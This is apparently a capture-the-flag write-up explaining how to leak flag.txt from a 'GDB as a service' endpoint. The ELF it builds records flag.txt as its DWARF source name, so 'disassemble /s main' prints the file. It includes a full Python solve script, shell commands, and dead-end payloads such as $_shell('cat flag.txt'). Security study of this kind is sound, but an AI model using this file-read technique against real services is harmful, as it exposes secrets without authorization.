$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: a 'GDB as a service' endpoint compiles/loads an attacker ELF and runs `disassemble <name>` with a strict char filter, printing only stdout. Solution: abuse `disassemble /s` source-interleaving to read flag.txt by crafting an ELF whose DWARF source filename is flag.txt, turning legitimate GDB output into an arbitrary file read.
Get your mains disassembled. (GDB-as-a-Service)
English summary: A TLS network service (ncat --ssl, port 1337) exposes GDB as a
service. The client supplies a base64-encoded ELF and a "function name"; the
server disassembles that function and returns the output. The flag lives in a
file the service can see, and the goal is to make GDB leak it.
The server (server.py) flow is:
len(b64) < 30KB), b64decode it, write to tmpdir/a.out, chmod 755.function_name string. Reject if len >= 30 or any char is in BAD_CHARS.flag.txt into tmpdir (next to a.out).gdb -ex "disassemble {function_name}" -ex quit a.out and print the result
via subprocess.check_output — stdout only; GDB stderr is discarded.BAD_CHARS blacklist (everything else is allowed):
NUL CR LF TAB ; | & ` $ < > \ ' " ! # , ( ) [ ] { }
So the allowed set includes: space, % * + - . / 0-9 : = ? @ A-Z ^ _ a-z ~.
Two important facts about the environment:
chdir, so GDB's current working directory is the
server directory, where a second real flag.txt also exists (in addition to the
copy placed next to a.out)..debug_gdb_scripts inlined Python (type-4 entry). Embedding a Python
script in the ELF that runs open('flag.txt').read() on objfile load is
declined by GDB's default auto-load safe-path ($debugdir:$datadir/auto-load).
The refusal warning goes to stderr, which the server never captures, so it
fails silently. Confirmed against gdb 16.3/17.1 locally.
$_shell("cat flag.txt") convenience function inside the disassemble
expression (a GDB 15+ feature that runs a shell command and prints its output).
Blocked by the char filter: the syntax needs $ ( ) " ', all of which are in
BAD_CHARS.
Key technique: DWARF source-interleaved disassembly as an arbitrary file read.
disassemble /s <func> (and /m) makes GDB read and print the source file
recorded in the binary's DWARF line information, interleaved with the assembly.
GDB resolves that source filename relative to its current working directory — and
it writes the source lines to stdout, which the server returns to us.
The argument /s main only uses /, s, space and letters — all allowed by the
filter, and well under 30 chars. The server prepends disassemble , so the
executed command becomes disassemble /s main.
The trick is to make GDB's recorded DWARF source filename be flag.txt. The
cleanest way is to literally name the C source file flag.txt and force the C
language at compile time:
# create a trivial C translation unit whose *filename* is flag.txt echo 'int main(){return 0;}' > flag.txt gcc -g -O0 -x c flag.txt -o a.out # must target x86_64-linux-gnu
The resulting DWARF records DW_AT_name = "flag.txt". When the service runs
disassemble /s main, GDB tries to open ./flag.txt (relative to its cwd = the
server directory containing the real flag) and prints each source line that has a
line-table entry, interleaved with the assembly of main. The real flag text
leaks through entirely legitimate GDB stdout — no shell, no auto-load script, no
safe-path bypass.
Constraints satisfied: the binary must be an x86_64 ELF (target is
x86_64-linux-gnu, GDB 17.1). A minimal -O0 -g build is ~16 KB → base64 ~22 KB,
comfortably under the < 30KB base64 input limit.
#!/usr/bin/env python3 import base64, socket, ssl, subprocess, tempfile, os HOST, PORT = "TARGET_HOST", 1337 # 1. Build an x86_64 ELF whose DWARF source filename is flag.txt. # (Run this step inside an x86_64-linux-gnu toolchain / container.) with tempfile.TemporaryDirectory() as d: src = os.path.join(d, "flag.txt") out = os.path.join(d, "a.out") open(src, "w").write("int main(){return 0;}\n") # -x c forces C even though the file is named flag.txt subprocess.check_call(["gcc", "-g", "-O0", "-x", "c", src, "-o", out]) elf_b64 = base64.b64encode(open(out, "rb").read()).decode() assert len(elf_b64) < 30 * 1024 # 2. Connect over TLS and drive the service. ctx = ssl._create_unverified_context() raw = socket.create_connection((HOST, PORT)) s = ctx.wrap_socket(raw, server_hostname=HOST) def recv_until(tok): buf = b"" while tok not in buf: chunk = s.recv(4096) if not chunk: break buf += chunk return buf recv_until(b"base64") # "Enter ELF bytes (base64): " s.sendall(elf_b64.encode() + b"\n") # 3. Supply the disassemble argument. Server runs `disassemble /s main`. # '/s main' passes the BAD_CHARS filter (only / s space letters). recv_until(b":") # function-name prompt s.sendall(b"/s main\n") # 4. Flag text appears interleaved with the main() disassembly on stdout. print(recv_until(b"End of assembler dump").decode(errors="replace")) # Expected flag format: FortID{...}
Use this technique when:
gdb ... disassemble <attacker-string> and returns only stdout
(stderr-based protections like auto-load warnings become invisible).$ ( ) ' " ; | & <space constraints>)
but still allows /, space and letters — enough for /s main..debug_gdb_scripts Python injection is blocked by auto-load safe-path, and
$_shell(...) is blocked by the filter — pivot to DWARF /s source interleaving.disassemble /s / /m reads the DWARF DW_AT_name source path
relative to GDB's cwd, so naming a C source file exactly flag.txt (compiled
with gcc -x c flag.txt) turns disassembly into an arbitrary file read.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar